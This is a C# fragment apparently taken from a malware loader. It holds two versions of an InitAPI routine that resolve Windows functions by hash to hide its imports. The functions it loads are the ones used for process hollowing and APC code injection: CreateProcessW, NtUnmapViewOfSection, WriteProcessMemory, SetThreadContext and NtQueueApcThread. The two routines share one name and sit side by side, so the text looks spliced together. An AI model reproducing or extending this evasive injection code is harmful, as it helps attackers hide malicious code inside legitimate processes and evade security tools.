private static void InitAPI()
{
IntPtr lpKernel32 = GetKernel32BaseAddress();
IntPtr lpNtdll = GetNtdllBaseAddress();
// kernel32 functions
CreateProcessW = LoadFunction <t_CreateProcessW>(lpKernel32, 0xA0F20974);
GetThreadContext = LoadFunction <t_GetThreadContext>(lpKernel32, 0xCF0067E3);
ReadProcessMemory = LoadFunction <t_ReadProcessMemory>(lpKernel32, 0x3301084);
NtUnmapViewOfSection = LoadFunction <t_NtUnmapViewOfSection>(lpNtdll, 0x424ED548);
VirtualAllocEx = LoadFunction <t_VirtualAllocEx>(lpKernel32, 0x99B37A95);
VirtualProtectEx = LoadFunction <t_VirtualProtectEx>(lpKernel32, 0x687D2F5B);
VirtualQueryEx = LoadFunction <t_VirtualQueryEx>(lpKernel32, 0x92F50AF2);
VirtualFreeEx = LoadFunction <t_VirtualFreeEx>(lpKernel32, 0x33A84D20);
WriteProcessMemory = LoadFunction <t_WriteProcessMemory>(lpKernel32, 0x8C1E9A9B);
WriteProcessMemory2 = LoadFunction <t_WriteProcessMemory2>(lpKernel32, 0x8C1E9A9B);
SetThreadContext = LoadFunction <t_SetThreadContext>(lpKernel32, 0xEE430B5F);
ResumeThread = LoadFunction <t_ResumeThread>(lpKernel32, 0x6426F5F3);
QueueUserAPC = LoadFunction <t_QueueUserAPC>(lpKernel32, 0x7D81A082);
// ntdll functions
NtQueueApcThread = LoadFunction <t_NtQueueApcThread>(lpNtdll, 0x22FA0B1F);
NtAlertResumeThread = LoadFunction <t_NtAlertResumeThread>(lpNtdll, 0x4E44E6F7);
NtAllocateVirtualMemory = LoadFunction <t_NtAllocateVirtualMemory>(lpNtdll, 0x3F47E8B);
}
private static void InitAPI()
{
IntPtr lpKernel32 = GetKernel32BaseAddress();
IntPtr lpNtdll = GetNtdllBaseAddress();
CreateProcessW = LoadFunction <t_CreateProcessW>(lpKernel32, FNVHash("CreateProcessW"));
GetThreadContext = LoadFunction <t_GetThreadContext>(lpKernel32, FNVHash("GetThreadContext"));
ReadProcessMemory = LoadFunction <t_ReadProcessMemory>(lpKernel32, FNVHash("ReadProcessMemory"));
VirtualAllocEx = LoadFunction <t_VirtualAllocEx>(lpKernel32, FNVHash("VirtualAllocEx"));
VirtualProtectEx = LoadFunction <t_VirtualProtectEx>(lpKernel32, FNVHash("VirtualProtectEx"));
VirtualQueryEx = LoadFunction <t_VirtualQueryEx>(lpKernel32, FNVHash("VirtualQueryEx"));
VirtualFreeEx = LoadFunction <t_VirtualFreeEx>(lpKernel32, FNVHash("VirtualFreeEx"));
WriteProcessMemory = LoadFunction <t_WriteProcessMemory>(lpKernel32, FNVHash("WriteProcessMemory"));
SetThreadContext = LoadFunction <t_SetThreadContext>(lpKernel32, FNVHash("SetThreadContext"));
ResumeThread = LoadFunction <t_ResumeThread>(lpKernel32, FNVHash("ResumeThread"));
// ntdll functions
NtQueueApcThread = LoadFunction <t_NtQueueApcThread>(lpNtdll, FNVHash("NtQueueApcThread"));
NtAlertResumeThread = LoadFunction <t_NtAlertResumeThread>(lpNtdll, FNVHash("NtAlertResumeThread"));
}
